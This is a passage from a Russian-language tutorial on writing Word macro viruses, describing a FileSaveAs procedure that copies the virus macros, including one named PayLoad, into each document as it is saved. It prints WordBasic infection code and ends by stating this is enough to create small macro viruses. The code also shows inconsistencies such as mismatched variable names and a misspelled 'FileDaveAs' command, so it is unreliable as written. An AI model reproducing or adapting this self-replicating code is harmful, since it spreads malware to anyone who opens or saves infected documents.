Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении

через команду File/SaveAs. Эта процедура использует во многом схо-

жую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dig As FileSaveAs

GetCurValues dig

Dialog dig

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"

'Заражает при сохранении документа

MacroCopy "FileSave", WindowName$()+":FileSave"

MacroCopy "PayLoad", WindowName$()+":PayLoad"

MacroCopy "FileOpen", WindowName$()+":FileOpen"

'При открытии документа

Dlg.Format=1

End If

FileDaveAs dig

End Sub

Этой информации вполне достаточно для создания небольших макро-

вирусов.

Содержание раздела

---